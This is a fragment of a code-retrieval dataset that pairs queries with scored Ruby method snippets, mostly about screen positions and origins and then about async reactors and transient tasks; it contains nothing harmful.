"docid": "573a3956ccec4be47a40e4bc3e966b6a",
"score": "0.6870947",
"text": "def cocoaOrigin\n\tnew_origin = frame.origin\n\tnew_origin.y = NSScreen.mainScreen.frame.size.height - new_origin.y\n\tnew_origin\n end",
"title": ""
},
{
"docid": "87d74e7428daf1473e39f939f174e9db",
"score": "0.6840111",
"text": "def bottom; @origin[1] end",
"title": ""
},
{
"docid": "efe7d3aa7f5cdbf6fb3c75e82b025ad4",
"score": "0.68274754",
"text": "def top_left\n @place = \"ulft\"\n self\n end",
"title": ""
},
{
"docid": "923ef8812dbc3261fb348ab7bdfb3f73",
"score": "0.671303",
"text": "def top_edge\n @relative_position.y - @height / 2\n end",
"title": ""
},
{
"docid": "493bdf6f939b3252c4ce263c2b265631",
"score": "0.6651728",
"text": "def topLeft\n CGPointMake(left, top)\n end",
"title": ""
},
{
"docid": "5aef50c366aee2a4855b79789af25f4d",
"score": "0.6642694",
"text": "def front_initial_pos\n return -48, 220\n end",
"title": ""
},
{
"docid": "70eb96cf27163dbf2e53e332c9c45dde",
"score": "0.663476",
"text": "def vertical_offset=(_arg0); end",
"title": ""
},
{
"docid": "70eb96cf27163dbf2e53e332c9c45dde",
"score": "0.663476",
"text": "def vertical_offset=(_arg0); end",
"title": ""
},
{
"docid": "4fbd34e5fdb9c65b1bd0e411d0e734eb",
"score": "0.66052765",
"text": "def set_origin(ox, oy)\n end",
"title": ""
},
{
"docid": "4fbd34e5fdb9c65b1bd0e411d0e734eb",
"score": "0.66052765",
"text": "def set_origin(ox, oy)\n end",
"title": ""
},
{
"docid": "4fbd34e5fdb9c65b1bd0e411d0e734eb",
"score": "0.66052765",
"text": "def set_origin(ox, oy)\n end",
"title": ""
},
{
"docid": "4fbd34e5fdb9c65b1bd0e411d0e734eb",
"score": "0.66052765",
"text": "def set_origin(ox, oy)\n end",
"title": ""
},
{
"docid": "83944e26de14d77f20713a28bdf9dd00",
"score": "0.6605063",
"text": "def assume_top_position\n update_position 1\n end",
"title": ""
},
{
"docid": "4fbd34e5fdb9c65b1bd0e411d0e734eb",
"score": "0.66034406",
"text": "def set_origin(ox, oy)\n end",
"title": ""
},
{
"docid": "f0cfb85d006492985577c9210b956c51",
"score": "0.65988994",
"text": "def reset_origin\n set_origin(width / 2, height)\n end",
"title": ""
},
{
"docid": "f0cfb85d006492985577c9210b956c51",
"score": "0.65988994",
"text": "def reset_origin\n set_origin(width / 2, height)\n end",
"title": ""
},
{
"docid": "0b605c7983abc3f98bef558d011dfadc",
"score": "0.6584263",
"text": "def oy\n @origin[1]\n end",
"title": ""
},
{
"docid": "c54ab0ab070c0b2e5d972eb25a421264",
"score": "0.6577775",
"text": "def vertical_offset; end",
"title": ""
},
{
"docid": "c54ab0ab070c0b2e5d972eb25a421264",
"score": "0.6577775",
"text": "def vertical_offset; end",
"title": ""
},
{
"docid": "9651be05cbe5fdd714b98d34597a00c9",
"score": "0.6572883",
"text": "def origin(index = 0, &block)\n Esc.set_position(virtual_y[index], left, &block)\n end",
"title": ""
},
{
"docid": "2408e15b033af9ca1ae29e16aba2439e",
"score": "0.6564839",
"text": "def move_origin\n move(x: 1, xn: (xn - x + 1), y: 1, yn: (yn - y + 1))\n end",
"title": ""
},
{
"docid": "72938ae5d62b0412642c59aa4c493978",
"score": "0.6560792",
"text": "def origin\r\n Point3.origin\r\n end",
"title": ""
},
{
"docid": "47e7628d311f0930a2936e7c60656aae",
"score": "0.6542906",
"text": "def top_left_region_y\n central_region_y - 6\n end",
"title": ""
},
{
"docid": "8eabe97c174eb4c0f74f9f17d4ac9832",
"score": "0.64815676",
"text": "def bgm_pos\n\n end",
"title": ""
},
{
"docid": "ae2561ace7a74ccb620c715e3f75b87d",
"score": "0.64762294",
"text": "def top\n if centred\n Terminal.centre_y - (height / 2)\n\n else\n y\n\n end\n end",
"title": ""
},
{
"docid": "5b037bdf4ffa4c66462d3421f01022eb",
"score": "0.64669174",
"text": "def topRight\n CGPointMake(right, top)\n end",
"title": ""
},
{
"docid": "d806761decb634e250148d95a9b17dec",
"score": "0.64646053",
"text": "def top_lefti(offset=nil) bottom_left(offset) end",
"title": ""
},
{
"docid": "67734d3458b98e1a621dbff257395519",
"score": "0.6439499",
"text": "def center\n center_x\n center_y\n end",
"title": ""
},
{
"docid": "331fbeb24da7e7b63d36968d8bbdf0d7",
"score": "0.64024353",
"text": "def top_left_region_x\n central_region_x - 6\n end",
"title": ""
},
{
"docid": "cb61d4e8299301aa7370342bdd8e809e",
"score": "0.63859665",
"text": "def center\n\t\t@sub_cursor = SUB_NONE\n\tend",
"title": ""
},
{
"docid": "e7ee4423ea8d863295f1778610de0d14",
"score": "0.6365811",
"text": "def convert_origin(destination)\n self.convertPoint([0, 0], toView:destination)\n end",
"title": ""
},
{
"docid": "0e483c1d7649de75d6818c064388c898",
"score": "0.63624954",
"text": "def getTopBound()\n return @board_start_y\n end",
"title": ""
},
{
"docid": "77cdbcfb3464288caf5f5de42f6b603d",
"score": "0.6361296",
"text": "def top_left_position\n #Vector.new(center_position.x - image_size.x / 2.0, center_position.y - image_size.y / 2.0)\n Vector.new(@game_object.x - image_size.x / 2.0, @game_object.y - image_size.y / 2.0)\n end",
"title": ""
},
{
"docid": "96438d922f2544cd635dc10be3c23958",
"score": "0.6351924",
"text": "def ul; move(@x-1, @y-1) end",
"title": ""
},
{
"docid": "f47ea7f459998c6df30209ffa26f636a",
"score": "0.63487124",
"text": "def farpoint() origin + size end",
"title": ""
},
{
"docid": "b817191bb147719f890b41ccbf5525a1",
"score": "0.6344632",
"text": "def origin_bottom_left!\n return if @name == :bottom_left\n @name = :bottom_left\n @origin_x = 0.0\n @origin_y = @runtime.logical_height\n @left = 0.0\n @right = @runtime.logical_width\n @top = @runtime.logical_height\n @bottom = 0.0\n @left_margin = 0.0\n @bottom_margin = 0.0\n @center_x = @runtime.logical_width.half\n @center_y = @runtime.logical_height.half\n @rect = [@left, @bottom, @runtime.logical_width, @runtime.logical_height].rect\n @center = [@center_x, @center_y].point\n @ffi_draw.set_grid @origin_x, @origin_y, SCREEN_Y_DIRECTION\n @device_left ||= @left\n @device_right ||= @right\n @device_top ||= @top\n @device_bottom ||= @bottom\n @device_width ||= @runtime.logical_width\n @device_height ||= @runtime.logical_height\n @native_width ||= @runtime.logical_width\n @native_height ||= @runtime.logical_height\n @native_scale ||= 1.0\n @native_scale_enum ||= 1.0\n end",
"title": ""
},
{
"docid": "fb4d9cae08e5bff4b0dfa08c605fe4d6",
"score": "0.6342076",
"text": "def center\n adjust_sprite_ox\n self.oy = self.height / 2\n end",
"title": ""
},
{
"docid": "bdbe26de72c891cd17ad29ae94be154c",
"score": "0.6329655",
"text": "def displace(left, top)\n \n end",
"title": ""
},
{
"docid": "7354d33530a806d74f4113533ba21950",
"score": "0.631903",
"text": "def offset_y\n 0\n end",
"title": ""
},
{
"docid": "7354d33530a806d74f4113533ba21950",
"score": "0.631903",
"text": "def offset_y\n 0\n end",
"title": ""
},
{
"docid": "7354d33530a806d74f4113533ba21950",
"score": "0.631903",
"text": "def offset_y\n 0\n end",
"title": ""
},
{
"docid": "5ee7512d0fe09e3b1ba6aec45289cc7a",
"score": "0.62970704",
"text": "def origin(padding)\n padding[:padding_top] ||= 0\n\n origin = active_area_size[:height]\n origin -= padding[:padding_top]\n end",
"title": ""
},
{
"docid": "2eb281ebe55efcccc088b1eb1cffba99",
"score": "0.628226",
"text": "def eb_placement\n @orig_y = (@orig_y + self.bitmap.height) % self.bitmap.height\n if @config[\"pixel\"]\n self.ox -= 1 if !self.ox.even?\n end\n end",
"title": ""
},
{
"docid": "a10026c95abc2b643f398001d0091055",
"score": "0.62800807",
"text": "def top_lefti(offset=nil) top_left(offset) end",
"title": ""
},
{
"docid": "096901c44e05c137d0d768460a8df114",
"score": "0.6262609",
"text": "def abs_map_pos()\n cursor = new_cursor()\n cursor.shift!(:right, width-1) if [:west, :south].include?(facing)\n cursor.forward! if [:east, :south].include?(facing)\n {x: cursor.map_x, y: cursor.map_y}\n end",
"title": ""
},
{
"docid": "7756be565fbf8f3dd21d825a0f25a8e4",
"score": "0.62609744",
"text": "def center(offset=nil) grip(:center, offset, __callee__) end",
"title": ""
},
{
"docid": "7756be565fbf8f3dd21d825a0f25a8e4",
"score": "0.62609744",
"text": "def center(offset=nil) grip(:center, offset, __callee__) end",
"title": ""
},
{
"docid": "4f09ba8427e8a0b58c91c06dc7f0960b",
"score": "0.62558216",
"text": "def center\n if parent!=nil\n @x, @y = parent.x+parent.sx/2-@sx/2, parent.y+parent.sy/2-@sy/2\n else\n @x, @y = 0.5 - @sx/2, 0.5 - @sy/2\n\tend\n end",
"title": ""
},
{
"docid": "7378d9ef832b8ccc6050a10217a26e89",
"score": "0.62528354",
"text": "def move_origin\n @attributes = attributes.merge(\n centred: false,\n maximised: false,\n x: 1,\n xn: xn - x + 1,\n y: 1,\n yn: yn - y + 1,\n )\n Vedeu::Geometry::Geometry.new(@attributes).store\n end",
"title": ""
},
{
"docid": "2e0abc82dd7b67a479f3a67e6175b7f4",
"score": "0.6250467",
"text": "def upper_y\n self.y - self.oy;\n end",
"title": ""
},
{
"docid": "565ef6f33be5f7f93ce228f426019f80",
"score": "0.6243664",
"text": "def bottomCenter\n CGPointMake(centerX, bottom)\n end",
"title": ""
},
{
"docid": "ed9c177085d37efe5028b342e77f1c56",
"score": "0.6238687",
"text": "def center\n end",
"title": ""
},
{
"docid": "4cf2b877abd310fa04accd2bc46536d0",
"score": "0.6234923",
"text": "def origin; end",
"title": ""
},
{
"docid": "4cf2b877abd310fa04accd2bc46536d0",
"score": "0.6234923",
"text": "def origin; end",
"title": ""
},
{
"docid": "4cf2b877abd310fa04accd2bc46536d0",
"score": "0.6234923",
"text": "def origin; end",
"title": ""
},
{
"docid": "4cf2b877abd310fa04accd2bc46536d0",
"score": "0.6234923",
"text": "def origin; end",
"title": ""
},
{
"docid": "4cf2b877abd310fa04accd2bc46536d0",
"score": "0.6234923",
"text": "def origin; end",
"title": ""
},
{
"docid": "4cf2b877abd310fa04accd2bc46536d0",
"score": "0.6234923",
"text": "def origin; end",
"title": ""
},
{
"docid": "4cf2b877abd310fa04accd2bc46536d0",
"score": "0.6234923",
"text": "def origin; end",
"title": ""
},
{
"docid": "4d75b43286c7b8142f80880a6da18286",
"score": "0.6234055",
"text": "def center\n end",
"title": ""
},
{
"docid": "4d75b43286c7b8142f80880a6da18286",
"score": "0.6234055",
"text": "def center\n end",
"title": ""
},
{
"docid": "5a39ed6d5c910311742a293071f9c594",
"score": "0.62326026",
"text": "def center_y\r\n (Graphics.height / 32 - 1) / 2.0\r\n end",
"title": ""
},
{
"docid": "40c3b37490ea427b0c1a7fc0d4b73797",
"score": "0.6231444",
"text": "def current_view\n [-offset / zoom, (-offset + Vector[@window.width.to_f, @window.height.to_f]) / zoom]\n end",
"title": ""
},
{
"docid": "16df6f642d90ce4c9f494bcdeda209ae",
"score": "0.6205235",
"text": "def withcolor_initial_pos\n return -96, 220\n end",
"title": ""
},
{
"docid": "43a0342c9312ff4dbe2940b53146c983",
"score": "0.6196468",
"text": "def bounding_box_top_left\n Point.new(@x + offset_x, @y + offset_y)\n end",
"title": ""
},
{
"docid": "d4f4659dc7811be6b9251216d53c0fa6",
"score": "0.61944187",
"text": "def center_y\n (Graphics.height / 32 - 1) / 2.0\n end",
"title": ""
},
{
"docid": "c42a06dfd430c35ac295ee298a9f8f69",
"score": "0.6186879",
"text": "def _position left, top\n self.absolute_left = left\n self.absolute_top = top\n @gui.update_position if @gui && @gui.respond_to?(:update_position)\n end",
"title": ""
},
{
"docid": "ac123f623c818223871d951f198881f6",
"score": "0.6181965",
"text": "def move_west\n @h_position -= 1\n end",
"title": ""
},
{
"docid": "158b465f3ba5a2678ee02283e88fe33c",
"score": "0.6180303",
"text": "def top\n height\n end",
"title": ""
},
{
"docid": "318928c3b7594fadcd4dd2cd5294b3a0",
"score": "0.6169741",
"text": "def offset()\n (@centered ? @step/2.0 : 0.0) ;\n end",
"title": ""
},
{
"docid": "fc19ee10339a3f78ae7d949cf91d08eb",
"score": "0.6168275",
"text": "def top_row=(row)\r\n # If row is less than 0, change it to 0\r\n # If row exceeds row_max - 1, change it to row_max - 1\r\n row = [[row, 0].max, row_max - 1].min\r\n # Multiply 1 row height by 32 for y-coordinate of window contents\r\n # transfer origin\r\n self.oy = row * self.oh\r\n end",
"title": ""
},
{
"docid": "ebd210e81fe845e44ba77806eee59750",
"score": "0.61569184",
"text": "def origin\n 1\n end",
"title": ""
},
{
"docid": "ebd210e81fe845e44ba77806eee59750",
"score": "0.61569184",
"text": "def origin\n 1\n end",
"title": ""
},
{
"docid": "ebd210e81fe845e44ba77806eee59750",
"score": "0.61569184",
"text": "def origin\n 1\n end",
"title": ""
},
{
"docid": "fa9965a75ef4f8b9d5492c2688b8c674",
"score": "0.6147889",
"text": "def back_initial_pos\n return 368, 220\n end",
"title": ""
},
{
"docid": "0f5273ba66132571b6a13c87e9228a37",
"score": "0.6142494",
"text": "def adjust_position\n position.x = [position.x, @plateu.width].min\n position.x = [position.x, 0].max\n position.y = [position.y, @plateu.length].min\n position.y = [position.y, 0].max\n end",
"title": ""
},
{
"docid": "b24dd39824b231e6d4a245f93314cf1f",
"score": "0.61381876",
"text": "def bottom\n y + height\n end",
"title": ""
},
{
"docid": "c5612448c4a362d90fd0fc07ecdf0e2c",
"score": "0.61317307",
"text": "def ax_pos; end",
"title": ""
},
{
"docid": "5f7eabfe525f045f2dd0ef745ab2c682",
"score": "0.61275697",
"text": "def center\n\t\t\t\t@x = window.center.x - length\n\t\t\t\t@y = window.center.y\n\t\t\tend",
"title": ""
},
{
"docid": "eb7b8d0ec6a7c963e40f421b3531ddd2",
"score": "0.61238205",
"text": "def axPos; end",
"title": ""
},
{
"docid": "8c177f80ee5a5af96e89c6c49db214ae",
"score": "0.61162615",
"text": "def visual_top\n @_ctx.visual_top\n end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
},
{
"docid": "7c4e6912cde56a7ef38385e785b83259",
"score": "0.6115993",
"text": "def position; end",
"title": ""
}
] |
eeb1502b8c742dbeb87fb172e93b3364
|
In order to avoid blocking the reactor, specify `transient: true` as an option.
|
[
{
"docid": "68ac356eebd21510e43fc5bb6fb8c08b",
"score": "0.0",
"text": "def async(parent: Task.current, **options, &block)\n\t\t\t\tparent.async(**options) do |task|\n\t\t\t\t\tself.wait(task: task, &block)\n\t\t\t\tend\n\t\t\tend",
"title": ""
}
] |
[
{
"docid": "902bf92b44735b658f0a9f76fc02ac6a",
"score": "0.7081731",
"text": "def transient\n @transient ||= true\n self\n end",
"title": ""
},
{
"docid": "825f7c6073dbf20ad39508250450d277",
"score": "0.65589",
"text": "def transient?; end",
"title": ""
},
{
"docid": "38190d044a30f530f7b8ab3aba7793a5",
"score": "0.6020097",
"text": "def transient=(_arg0); end",
"title": ""
},
{
"docid": "daa91007dd20833610a058b3395e10a2",
"score": "0.56518054",
"text": "def transient?\n\t\t\t@transient\n\t\tend",
"title": ""
},
{
"docid": "4d02e68afabde611b116524d80f06e89",
"score": "0.54480004",
"text": "def transient?\n !always_on?\n end",
"title": ""
},
{
"docid": "e921113f79cac370c339d37659d2a031",
"score": "0.537886",
"text": "def reactor_wakeup(client); end",
"title": ""
},
{
"docid": "59eede5a72889fbd91bfdb1fdbe62fd9",
"score": "0.5339542",
"text": "def transient?(_level = nil)\n return false if info.nil?\n info[:transient]\n end",
"title": ""
},
{
"docid": "78c9e82e677a78ead6b5396b88b7e3b5",
"score": "0.52072036",
"text": "def defer\n Q.defer(@reactor)\n end",
"title": ""
},
{
"docid": "b279b1749540091f55602e11714fcc9c",
"score": "0.51721984",
"text": "def transient(&block)\n #--\n # Newly defined modules/classes will be marked as transient\n # and their names will be stored as transient constants in parent module.\n # All assignments to constants in existing modules are transient.\n # All method definitions added to transient method dictionaries.\n # All methods defined via Object#extend or Module#include\n # will be transient even if target class is persistable.\n # Constant removal that finds constant in a persistent module will raise exception.\n # Method removal that finds method in a persistent module will raise exception.\n #++\n rctx = RubyContext\n save_pm = rctx.persistence_mode\n res = nil\n begin\n rctx.persistence_mode=(false)\n res = yield\n ensure\n rctx.persistence_mode=(save_pm)\n end\n res\n end",
"title": ""
},
{
"docid": "16556c7700c344bdd993dd08209326c8",
"score": "0.51510394",
"text": "def transient?\n !persistent?\n end",
"title": ""
},
{
"docid": "786b809ea15b51f7032eeac3239648d5",
"score": "0.5037665",
"text": "def nonpersistent\n yield if !$persistent\n end",
"title": ""
},
{
"docid": "727a7f98a8d082aec987b56c1a3912ba",
"score": "0.49950197",
"text": "def reactor?\n !!@reactor\n end",
"title": ""
},
{
"docid": "aa52550743a6f0c76209265199b6903b",
"score": "0.48891577",
"text": "def transient?\n not RubyContext.persistence_mode\n end",
"title": ""
},
{
"docid": "733aa46b395703e569c3a64093aa28bd",
"score": "0.48079678",
"text": "def explicit_state\n super\n end",
"title": ""
},
{
"docid": "c35f1042b46af9b1dee6a07453b79c3b",
"score": "0.47849947",
"text": "def synchronous!\n @asynchronous = false\n end",
"title": ""
},
{
"docid": "82b7666ec729e5a98fac9ff855e7b2a7",
"score": "0.47774926",
"text": "def run(reactor, event, handle)\n raise \"Override me\"\n end",
"title": ""
},
{
"docid": "bc51e0fe6d24f2f5d6e023d183bc2198",
"score": "0.46734998",
"text": "def value\n if alive?\n self.parent = Beam.current\n ioloop.transfer\n end\n check_and_raise_error\n @value\n end",
"title": ""
},
{
"docid": "28c3538f40822c900a69a600a97d08bf",
"score": "0.46337533",
"text": "def initialize( options = {} )\n ensure_reactor!\n\n @options = {\n :reply_by_default => false\n }.merge( options )\n end",
"title": ""
},
{
"docid": "d4925cadbee8f6fc560015ac64380d3e",
"score": "0.45900086",
"text": "def transients(transients)\n @transients = transients\n hashToFields(transients)\n \n class_for_name(@templateName).instance_eval {\n @transients = transients.keys\n def transients;@transients;end;\n }\n end",
"title": ""
},
{
"docid": "e326ce2edc97cd6cddb5553a0073ccd8",
"score": "0.45872563",
"text": "def persistent; opt('persistent'); end",
"title": ""
},
{
"docid": "330234acfe07ebceddd49f5af730f259",
"score": "0.45869952",
"text": "def persistent?\n !transient?\n end",
"title": ""
},
{
"docid": "7ce76b7a7e43add9e42a9b586fab167b",
"score": "0.45868674",
"text": "def reactor_thread\n @reactor_thread\n end",
"title": ""
},
{
"docid": "ee4e2627f23d4054d67ed80241428eb2",
"score": "0.45816642",
"text": "def async\n public.deep_dup\n end",
"title": ""
},
{
"docid": "28ee2da6840feee9562af047de23ca8b",
"score": "0.45795473",
"text": "def serialize!\n end",
"title": ""
},
{
"docid": "6cbf3ea672679a01f4c9b6d2388ffcf7",
"score": "0.45744583",
"text": "def disableSerialization \n \"disableSerialization\" \n end",
"title": ""
},
{
"docid": "a89f53a7d11117b0d2e4259f1c215b00",
"score": "0.45735052",
"text": "def replay\n fail NotImplementedError\n end",
"title": ""
},
{
"docid": "a89f53a7d11117b0d2e4259f1c215b00",
"score": "0.45735052",
"text": "def replay\n fail NotImplementedError\n end",
"title": ""
},
{
"docid": "f1d0c0c16b08bccfc7e9de7945a3cdb9",
"score": "0.4572068",
"text": "def rtsp_over_http_persistence_state\n super\n end",
"title": ""
},
{
"docid": "805187f2cb5a189bb7d05a23089f8c26",
"score": "0.45470932",
"text": "def reactor_running?\n true\n end",
"title": ""
},
{
"docid": "ec5e4771322a6aa98c0a4754863a5778",
"score": "0.4527966",
"text": "def without_reconnect(&block); end",
"title": ""
},
{
"docid": "57cef1be47bf9c9088540ee9822a408f",
"score": "0.4507259",
"text": "def isolate_signals; end",
"title": ""
},
{
"docid": "d8c2638f58690d688de5530222a93c7b",
"score": "0.44930357",
"text": "def ice_double(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n double(*args, options.merge(freeze: nil, frozen?: true))\nend",
"title": ""
},
{
"docid": "d5cebbca8b9b9a5754e2317dcda8f003",
"score": "0.44766793",
"text": "def strict_resume_state\n super\n end",
"title": ""
},
{
"docid": "7da27391a81bf5fe68f050fd4af43350",
"score": "0.44533563",
"text": "def patch\n dsl.instance_variable_get(:@patch)\nend",
"title": ""
},
{
"docid": "7d1bee01372227f20e18fd90c6e9a60f",
"score": "0.44471744",
"text": "def singleton_state\n super\n end",
"title": ""
},
{
"docid": "65fb9ff3e321e85796aaf4899afb0f80",
"score": "0.44237214",
"text": "def publisher; end",
"title": ""
},
{
"docid": "65fb9ff3e321e85796aaf4899afb0f80",
"score": "0.44237214",
"text": "def publisher; end",
"title": ""
},
{
"docid": "fd6b97a8178f1d161ada90a40e4162a9",
"score": "0.44177282",
"text": "def silence_single_worker_warning; end",
"title": ""
},
{
"docid": "c8a41d0220ab86215790f9d0af40aae9",
"score": "0.44057053",
"text": "def chain_state\n super\n end",
"title": ""
},
{
"docid": "cba3213d03e6153193719b83b9a641ce",
"score": "0.44021457",
"text": "def failsafe_state\n super\n end",
"title": ""
},
{
"docid": "ba90cd06824e14dc7b26c7e48cab6978",
"score": "0.43722352",
"text": "def ready=(_); end",
"title": ""
},
{
"docid": "69f0e098a793bc0dbc65deb3ab82e5eb",
"score": "0.4369523",
"text": "def prepare\n handle = Prepare.new(@reactor)\n handle.progress &Proc.new if block_given?\n handle\n end",
"title": ""
},
{
"docid": "e554c413ad3b5d2229689d5218c3a813",
"score": "0.43545654",
"text": "def awaken!\n\t\traise 'Not implemented'\n\tend",
"title": ""
},
{
"docid": "cb6c63b813c4d1512696f8564fa83620",
"score": "0.43460613",
"text": "def shutdown\n super\n end",
"title": ""
},
{
"docid": "96288d9540dfaf56c831c981e34fc4ef",
"score": "0.43429023",
"text": "def frozen?; end",
"title": ""
},
{
"docid": "75c4c7297359b695a0f3a5b23cd7ab2c",
"score": "0.43328884",
"text": "def method_missing(meth, *args, &block)\n if @redis.respond_to?(meth)\n EntrainRedis.ignore_readonly { @redis.send(meth, *args, &block) }\n else\n super\n end\n end",
"title": ""
},
{
"docid": "2fd600e165629d5f0d04284623f435b4",
"score": "0.43222645",
"text": "def across_service_state\n super\n end",
"title": ""
},
{
"docid": "b6353c353650b02ffe61feb4a3088058",
"score": "0.43196225",
"text": "def ignore_on_serialization\n [\"@io_stream\",\n \"@board\",\n \"@message_input\",\n \"@move_history_input\",\n \"@turn_display_input\",\n \"@break_game_loop\"]\n end",
"title": ""
},
{
"docid": "1d7b4f4168b71ffba873b773ecb03d9c",
"score": "0.4281456",
"text": "def mix\n #future code\n end",
"title": ""
},
{
"docid": "a932936c9404b62d48cb37ff6f49928f",
"score": "0.42722946",
"text": "def restore \n raise NotImplementedError.new\n end",
"title": ""
},
{
"docid": "1e8850a647337bae090ed587756dcd93",
"score": "0.42649925",
"text": "def retry\n super\n end",
"title": ""
},
{
"docid": "868451e36102fb4a96b3992ffa901a70",
"score": "0.4263667",
"text": "def ignore_disconnect; end",
"title": ""
},
{
"docid": "e3b1eecbc5c808873f5eeb7f00df9515",
"score": "0.42628595",
"text": "def with_force_shutdown; end",
"title": ""
},
{
"docid": "73eb785030d099e8957e08ab47aa2fea",
"score": "0.4251248",
"text": "def subscribe(&b)\n @publisher.subscribe(&b)\n end",
"title": ""
},
{
"docid": "fe5f23186a68aafaa09b979d1b2de658",
"score": "0.4246468",
"text": "def flush_when_ready\n # make super()-safe so we can make liberal use of mixins\n end",
"title": ""
},
{
"docid": "99b3e0ef5e126c163d9c997270ab2d24",
"score": "0.4241801",
"text": "def call\n transaction do\n discard_drafts\n end\n\n broadcast(:ok)\n end",
"title": ""
},
{
"docid": "e78eed8f85d5e41a23438e8d9792ac0e",
"score": "0.42338195",
"text": "def client\n unless $client\n u = amqp_url\n puts u\n c = Bunny.new(u)\n c.start\n $client = c\n\n # We only want to accept one un-acked message\n $client.qos :prefetch_count => 1\n end\n $client\nend",
"title": ""
},
{
"docid": "927beb198645382e2c9c4127a9a6b454",
"score": "0.42323455",
"text": "def transients?\n\t\t\t@transient_count > 0\n\t\tend",
"title": ""
},
{
"docid": "3940e07530323b9b1d28f8274c28fa8f",
"score": "0.4221825",
"text": "def pass_through_persist\n super\n end",
"title": ""
},
{
"docid": "8690ba6fbcd5c9a236738a26dd9786b7",
"score": "0.42169636",
"text": "def show\n respond_with @slow_thing if stale? @slow_thing, public: true\n end",
"title": ""
},
{
"docid": "194db332ccb627229bb6095ae160ef42",
"score": "0.42158574",
"text": "def new_worker\n r_channel, w_channel = IO.pipe \n worker_number = @missing_workers.shift || @workers.length + 1 \n worker_pid = Process.fork do\n Process.egid= @options[:group]\n Process.euid= @options[:user]\n $0 = \"#{Orchestra::Configurator::DEFAULTS[:name]}_#{worker_number}\"\n # Close all sockets inherited from parent\n @workers.each_value { |worker| worker[:pipe].close }\n @workers = nil\n # Create a new musician \n r_channel.close\n logger = if @options[:daemonize]\n log_file = @options[:log_dir] + ::File::SEPARATOR + \"#{@options[:name]}.#{worker_number}.log\"\n Daemonize::redirect_io(log_file)\n Logger.new(log_file)\n else \n Logger.new(STDOUT)\n end\n worker = Musician.new(@servers, w_channel, logger )\n worker.run \n exit\n end\n @workers[worker_pid] = { :pipe => r_channel, :inactive => 0, :name => worker_number, :status => :ALIVE }\n @reactor.attach(:read, r_channel) do | pipe | \n begin\n pipe.sysread(1)\n @workers[worker_pid][:inactive] = 0\n rescue EOFError \n @reactor.detach(:read, pipe)\n @workers[worker_pid][:inactive] = @options[:timeout]\n end\n end\n end",
"title": ""
},
{
"docid": "d9db10dc92be1d023689399db48862b7",
"score": "0.4212763",
"text": "def embedded?; true; end",
"title": ""
},
{
"docid": "d9db10dc92be1d023689399db48862b7",
"score": "0.4212763",
"text": "def embedded?; true; end",
"title": ""
},
{
"docid": "988baeb63592ca4c14077856abc8d0dc",
"score": "0.42059138",
"text": "def dsl_eval_immutable(dsl, *args, &block)\n exec_in_proxy_context(dsl, ChainingFallbackContextProxy, *args, &block)\n end",
"title": ""
},
{
"docid": "9509e617aa47e67b96e059ecd8de17f6",
"score": "0.42055354",
"text": "def allow_concurrency; end",
"title": ""
},
{
"docid": "9509e617aa47e67b96e059ecd8de17f6",
"score": "0.42055354",
"text": "def allow_concurrency; end",
"title": ""
},
{
"docid": "4b3969f97b8f9126ee59562f61341c4b",
"score": "0.42028978",
"text": "def current\n Thread.current.thread_variable_get(:reactor)\n end",
"title": ""
},
{
"docid": "9ddf045531e907769947a61e733b0349",
"score": "0.42018816",
"text": "def testPubSub1()\n conn = Scalaris::PubSub.new()\n conn.close_connection()\n end",
"title": ""
},
{
"docid": "fc40d04d7dc743d6fb58ef2157d882fd",
"score": "0.41945925",
"text": "def run!\n broadcast!\n super\n end",
"title": ""
},
{
"docid": "4a62ba82cd73f0512b8e7f29f0e19798",
"score": "0.4191564",
"text": "def publish!\n raise 'Not implemented!'\n end",
"title": ""
},
{
"docid": "0ded01d3f668687a4747ba26c18ab1e9",
"score": "0.41850686",
"text": "def create(*args)\n result = super(*args)\n ensure\n readonly! if result\n end",
"title": ""
},
{
"docid": "373feeb600e19a1477cb43ba87dc31ef",
"score": "0.4182277",
"text": "def embedded?; false; end",
"title": ""
},
{
"docid": "4636fd7db2f4668adf6d172dc1f435f4",
"score": "0.4177596",
"text": "def subscribe\n self.subscribed = true\n end",
"title": ""
},
{
"docid": "05d3309c682ea9ab6558b1464910059b",
"score": "0.41706142",
"text": "def run\n if running?\n initialize_protocols\n initialize_threadpool\n initialize_sighandlers\n return true\n else\n fail 'Must run from within reactor'\n end\n end",
"title": ""
},
{
"docid": "5f517cab28e63b9cadee3923583096e4",
"score": "0.41636547",
"text": "def ignore_test_active_record_respects_force_reload\n actor = Actor.find 1\n project = actor.project\n\n assert_same project, actor.project\n assert_same project, actor.project(false)\n \n reloaded_project = actor.project(true)\n assert_not_same project, reloaded_project\n assert_equal project, reloaded_project\n end",
"title": ""
},
{
"docid": "aefb23f8c4817cfa0667b9faeba6fce6",
"score": "0.41624328",
